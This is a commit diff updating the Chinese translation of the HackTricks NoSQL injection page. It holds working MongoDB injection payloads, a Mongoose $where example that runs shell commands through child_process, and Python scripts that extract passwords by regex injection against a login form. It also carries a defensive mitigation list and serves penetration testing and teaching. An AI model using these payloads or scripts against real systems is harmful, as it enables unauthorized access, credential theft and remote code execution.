mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/nosql-injection.md'] to zh
This commit is contained in:
parent
63ab3ec10a
commit
d642d5b76f
@ -4,7 +4,7 @@
|
||||
|
||||
## 利用
|
||||
|
||||
在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。
|
||||
在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter[arrName]=foo_ 来发送一个数组。
|
||||
|
||||
这些利用基于添加一个 **Operator**:
|
||||
```bash
|
||||
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
攻击者可以通过输入像 `admin' || 'a'=='a` 这样的字符串来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用像 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a` 这样的输入进行类似的注入。
|
||||
攻击者可以通过输入类似 `admin' || 'a'=='a` 的字符串来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似的注入,输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
@ -78,7 +78,7 @@ in JSON
|
||||
```
|
||||
### PHP 任意函数执行
|
||||
|
||||
使用默认使用的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符,可能会执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。
|
||||
使用默认使用的 **$func** 操作符的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库,可能可以执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
@ -86,7 +86,7 @@ in JSON
|
||||
|
||||
### 从不同集合获取信息
|
||||
|
||||
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取所有与通配符匹配的密码的 **条目结果**。
|
||||
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取 **所有条目** 的结果,这些条目的密码与通配符匹配。
|
||||
|
||||
**注意:** 只有在使用 `aggregate()` 函数进行搜索时,才能使用 `$lookup` 和其他聚合函数,而不是更常用的 `find()` 或 `findOne()` 函数。
|
||||
```json
|
||||
@ -114,9 +114,43 @@ in JSON
|
||||
```json
|
||||
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||
```
|
||||
## MongoDB Payloads
|
||||
## 最近的 CVE 和现实世界的利用 (2023-2025)
|
||||
|
||||
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
### Rocket.Chat 未认证盲 NoSQLi – CVE-2023-28359
|
||||
版本 ≤ 6.0.0 暴露了 Meteor 方法 `listEmojiCustom`,该方法将用户控制的 **selector** 对象直接转发给 `find()`。通过注入操作符如 `{"$where":"sleep(2000)||true"}`,未认证的攻击者可以构建一个定时神谕并提取文档。该漏洞在 6.0.1 中通过验证选择器形状并剥离危险操作符进行了修复。
|
||||
|
||||
### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
|
||||
当 `populate()` 与 `match` 选项一起使用时,Mongoose (≤ 8.8.2) 在发送到 MongoDB 之前逐字复制对象。因此,提供 `$where` 会在 Node.js **内部** 执行 JavaScript,即使在 MongoDB 上禁用了服务器端 JS:
|
||||
```js
|
||||
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
|
||||
Post.find()
|
||||
.populate({ path: 'author', match: req.query.author }); // RCE
|
||||
```
|
||||
第一个补丁(8.8.3)阻止了顶级的 `$where`,但将其嵌套在 `$or` 下绕过了过滤器,导致了 CVE-2025-23061。该问题在 8.9.5 中完全修复,并引入了一个新的连接选项 `sanitizeFilter: true`。
|
||||
|
||||
### GraphQL → Mongo 过滤器混淆
|
||||
直接将 `args.filter` 转发到 `collection.find()` 的解析器仍然存在漏洞:
|
||||
```graphql
|
||||
query users($f:UserFilter){
|
||||
users(filter:$f){ _id email }
|
||||
}
|
||||
|
||||
# variables
|
||||
{ "f": { "$ne": {} } }
|
||||
```
|
||||
缓解措施:递归地剥离以 `$` 开头的键,明确映射允许的操作符,或使用模式库(Joi, Zod)进行验证。
|
||||
|
||||
## 防御备忘单(更新于2025年)
|
||||
|
||||
1. 剥离或拒绝任何以 `$` 开头的键(`express-mongo-sanitize`,`mongo-sanitize`,Mongoose `sanitizeFilter:true`)。
|
||||
2. 在自托管的 MongoDB 上禁用服务器端 JavaScript(`--noscripting`,在 v7.0+ 中为默认设置)。
|
||||
3. 优先使用 `$expr` 和聚合构建器,而不是 `$where`。
|
||||
4. 及早验证数据类型(Joi/Ajv),并在期望标量的地方不允许数组,以避免 `[$ne]` 技巧。
|
||||
5. 对于 GraphQL,通过允许列表转换过滤器参数;绝不要扩展不受信任的对象。
|
||||
|
||||
## MongoDB 载荷
|
||||
|
||||
列表 [来自这里](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
```
|
||||
true, $where: '1 == 1'
|
||||
, $where: '1 == 1'
|
||||
@ -182,7 +216,7 @@ if 'OK' in r.text:
|
||||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
### 从POST登录进行暴力破解用户名和密码
|
||||
### 从POST登录进行暴力破解登录用户名和密码
|
||||
|
||||
这是一个简单的脚本,您可以对其进行修改,但之前的工具也可以完成此任务。
|
||||
```python
|
||||
@ -193,6 +227,7 @@ url = "http://example.com"
|
||||
headers = {"Host": "exmaple.com"}
|
||||
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
||||
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
||||
|
||||
def get_password(username):
|
||||
print("Extracting password of "+username)
|
||||
params = {"username":username, "password[$regex]":"", "login": "login"}
|
||||
@ -225,16 +260,19 @@ for u in get_usernames(""):
|
||||
get_password(u)
|
||||
```
|
||||
## 工具
|
||||
|
||||
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
||||
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
||||
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
|
||||
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
|
||||
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user